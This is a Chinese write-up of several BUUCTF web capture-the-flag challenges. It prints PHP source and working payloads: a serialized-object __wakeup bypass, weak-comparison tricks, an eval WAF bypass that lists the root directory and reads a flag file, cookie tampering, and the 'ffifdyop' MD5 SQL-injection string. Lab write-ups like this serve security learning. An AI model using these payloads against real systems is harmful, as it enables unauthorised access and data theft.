[极客大挑战 2019]PHP

由内容提示应该存在源码备份,常见的如下,一个个尝试

后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp

访问www.zip,下载下来

解压查看

index.php

flag.php

class.php

<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

写一个脚本构造

<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$A=new Name();
echo serialize($A);
?>

结果如下

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
  • 这里需要绕过__wakeup函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
  • 由于序列化的存在空字符,故需要%00来代替,即空字符的url编码
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

拿到flag

[ACTF2020 新生赛]BackupFile

题目提示备份文件

后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp

除了以上这些,还有.bak/.swp/.old,都可以试试

这里使用dirsearch扫出来index.php.bak文件,下载下来

使用记事本打开

<?php
include_once "flag.php"; if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { //检查是否为数字
exit("Just num!");
}
$key = intval($key); //将变量转换为整数,eg:intval("cat12")=0 intval("3.14")=3
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) { //注意这里的==符号
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

由于==的特性,php是一种弱语言,所以在比较的时候,会自动将字符串转换为数字比较,即123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3=123,这里可以查看intval函数的转换机制

?key=123
?key=123e4 //123*e的4次方,但是经过转换是123

得到flag

[RoarCTF 2019]Easy Calc

打开环境,输入1+1试试

查看源码,发现calc.php,并且注释提示有waf

访问看看,代码如下

<?php
error_reporting(0);
if(!isset($_GET['num'])){ //isset:检测变量是否存在
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; //黑名单
foreach ($blacklist as $blackitem) { //blackitem在blacklist中遍历,每次调用的值进入if语句比对
if (preg_match('/' . $blackitem . '/m', $str)) { //检测$str是否包含黑名单里的字符串
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

当我们输入被过滤的字符时,返回结果不是"what are you want to do?",而是如下结果,应该被waf绕过

测试发现可以解析数字,如果带有字符则会被过滤,尝试绕过waf并查看根目录,在num参数前添加空格绕过是为了将? num解析成?num即正常,绕过字符串无法解析

  • var_dump():打印字符串
  • scandir():查看指定目录并返回该目录中的文件和子目录的名称
url? num=var_dump(scandir(chr(47)))     //chr(47)= /  是ascii码
url?+num=var_dump(scandir(chr(47)))
url?/**/num=var_dump(scandir(chr(47)))

查找到f1agg

此时我们需要构造 /f1agg

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

file_get_contents():读取文件的内容并将其作为字符串返回

得到flag

[极客大挑战 2019]BuyFlag

打开环境,查看源码

访问该链接

看看源码,得到下面这个信息

	~~~post money and password~~~               //利用post方式传入money和password
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) { //password必须是纯数字
echo "password can't be number</br>";
}elseif ($password == 404) { //password为404,因为是==号,所以可用404ad绕过,会解析为404
echo "Password Right!</br>";
}
}

抓包看看

注意cookie这个地方,查看gpt

结合回显,需要我们是学生身份,将user=0改为user=1

此时回显,数字太长了,用科学计数法表示,在php中,1e9实际等于1*10的9次方

[BJDCTF2020]Easy MD5

打开环境,一个输入框,看看源码和网络信息,有个提示:

select * from 'admin' where password=md5($pass,true)   //$pass经过md5加密后,如果可用转换回二进制则转换,否则转换回16进制

随意输入看看,有一个传参点password

这里介绍一个万能密码-ffifdyop,经过md5加密后的值再解密为16进制是'or'6É]™é!r,ùíb,可用进行sql注入

成功进入

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){ //因为是弱比较,故需要a!=b但是md5值相同的
// wow, glzjin wants a girl friend.
}

利用a=240610708&b=QNKCDZO绕过

看看源码:

 <?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ //强比较
echo $flag;
}

利用数组绕过

BUUCTF-Web方向16-20wp的更多相关文章

  1. Python Web 方向(一)

    Python Web 方向(一) --------Django站点创建 文章地址:http://www.cnblogs.com/likeli/p/5821744.html Python版本:2.7 推 ...

  2. web方向编程语言最全对比

    web方向编程语言最全对比 目前一般公司的后台用的开发语言大概有以下几种:java,python,php,asp.net,c++,node.js,ruby on rails 等. java 优点:性能 ...

  3. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  4. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  5. C# ASP .NET WEB方向和WPF方向,我该如何去选择

    一个2012年南航毕业学软件的学生,该如何去选择我的职业方向? 2011年11分月份,我被老师介绍在南京珠江路华丽国际大厦工作,开发一个大型国际物流平台,公司的开发人员比较少,设计网站的是高校的老师, ...

  6. Java开发工程师(Web方向) - 04.Spring框架 - 第2章.IoC容器

    第2章.IoC容器 IoC容器概述 abstract: 介绍IoC和bean的用处和使用 IoC容器处于整个Spring框架中比较核心的位置:Core Container: Beans, Core, ...

  7. Java开发工程师(Web方向) - 02.Servlet技术 - 第3章.Servlet应用

    第3章.Servlet应用 转发与重定向 转发:浏览器发送资源请求到ServletA后,ServletA传递请求给ServletB,ServletB生成响应后返回给浏览器. 请求转发:forward: ...

  8. Java开发工程师(Web方向) - 02.Servlet技术 - 第1章.Servlet

    第1章--Servlet Servlet简介 Servlet应用于? 浏览器发出HTTP请求,服务器接收请求后返回响应给浏览器. 接收请求后到返回响应之间: 服务器将请求对象转交给Servlet容器 ...

  9. 序-WEB方向指南

    WEB 这个方向其实是目前从业人员最多的方向,也是学习安全门槛最低的方向,当然也是最容易恰饭的方向. 我从入行到现在也依旧没有脱离它,毕竟在我这个小城市.小圈子里,不干这个好像就要没饭吃了,但是你说它 ...

  10. Windows Azure Web Site (16) Azure Web Site HTTPS

    <Windows Azure Platform 系列文章目录> 我们在使用微软云Azure Web App的时候,会使用微软的二级域名:http://xxx.chinacloudsites ...

随机推荐

  1. taro 编译报:模块引入顺序不一致报错

    前情 最近在开发一个小程序项目,基于公司的技术栈是React,于是使用Taro来开发小程序. 坑位 在开发中经常性的报类似如下的错误,大致意思是说你引入模块的顺序在不同模块中不一致 Why? 主要是m ...

  2. 私有网盘+在线文档:内网离线搭建NextCloud+OnlyOffice详细指南

    背景 最近因为工作需要,一堆内网的虚拟机之间需要频繁cp一些文件.视频等,因为都是麒麟系统,有桌面版有服务器版,用scp这种工具也是比较繁琐,索性就搭建一套内网用的共享网盘和在线文档,既方便了自己,也 ...

  3. 【C#】【平时作业】习题-12-事件

    目录 1. 什么是事件? 2. 事件与委托的关系是什么? 3. 事件发生的类(事件发生器)的主要内容与作用? 4. 事件接收处理的类的主要内容与作用? 5. 什么是订阅事件 ? 6. 如何引发事件? ...

  4. 【人工智能】【Python】Numpy基础

    Numpy 目录 Numpy Numpy简介 ndarray与原生Python List运算效率对比 N阶数组 ndarray (1)创建数组 (2)生成数组 生成纯1数组 生成纯0数组 从现有数组生 ...

  5. 【Rive】眼睛互动动画

    1 前言 ​ 本文基于 Rive 社区开放的眼睛动画,进一步加工处理,实现更有趣的眼睛互动动画. ​ 原始资源见 → Eye Joysticks Demo,效果如下. ​ 原始资源只有一只眼睛,并且没 ...

  6. Qt编写地图综合应用30-世界地图

    一.前言 世界地图也属于区域地图的一种,最开始做项目的时候只有国内的地图需求,后面有个客户他们的产品是面向国际市场,所以在大屏展示的时候,必须展示一张世界地图,所有箭头动态流向中国,当然这些都要离线使 ...

  7. Qt音视频开发32-Onvif网络设置

    一.前言 用onvif协议来对设备的网络信息进行获取和设置,这个操作在众多的NVR产品中,用的很少,绝大部分用户都还是习惯直接通过摄像机的web页面进去配置,其实修改网络配置的功能在大部分的NVR中都 ...

  8. ESLint is disabled since its execution has not been approved or denied yet

    VS Code 装好ESLint 插件报黄线的问题,具体解决方法如下所示: ESLint is disabled since its execution has not been approved o ...

  9. VEP注释文件下载网址

    Ensembl提供多个物种的注释文件: ftp://ftp.ensembl.org/pub/release-96/variation/VEP

  10. 《刚刚问世》系列初窥篇-Java+Playwright自动化测试-11- 标签页(tab)操作 - 下篇 (详细教程)

    1.简介 本来按照计划这一系列的文章应该介绍Context和Page两个内容的,但是宏哥看了官方文档和查找资料发现其实和宏哥在Python+Playwright系列文章中的大同小异,差不了多少,再在这 ...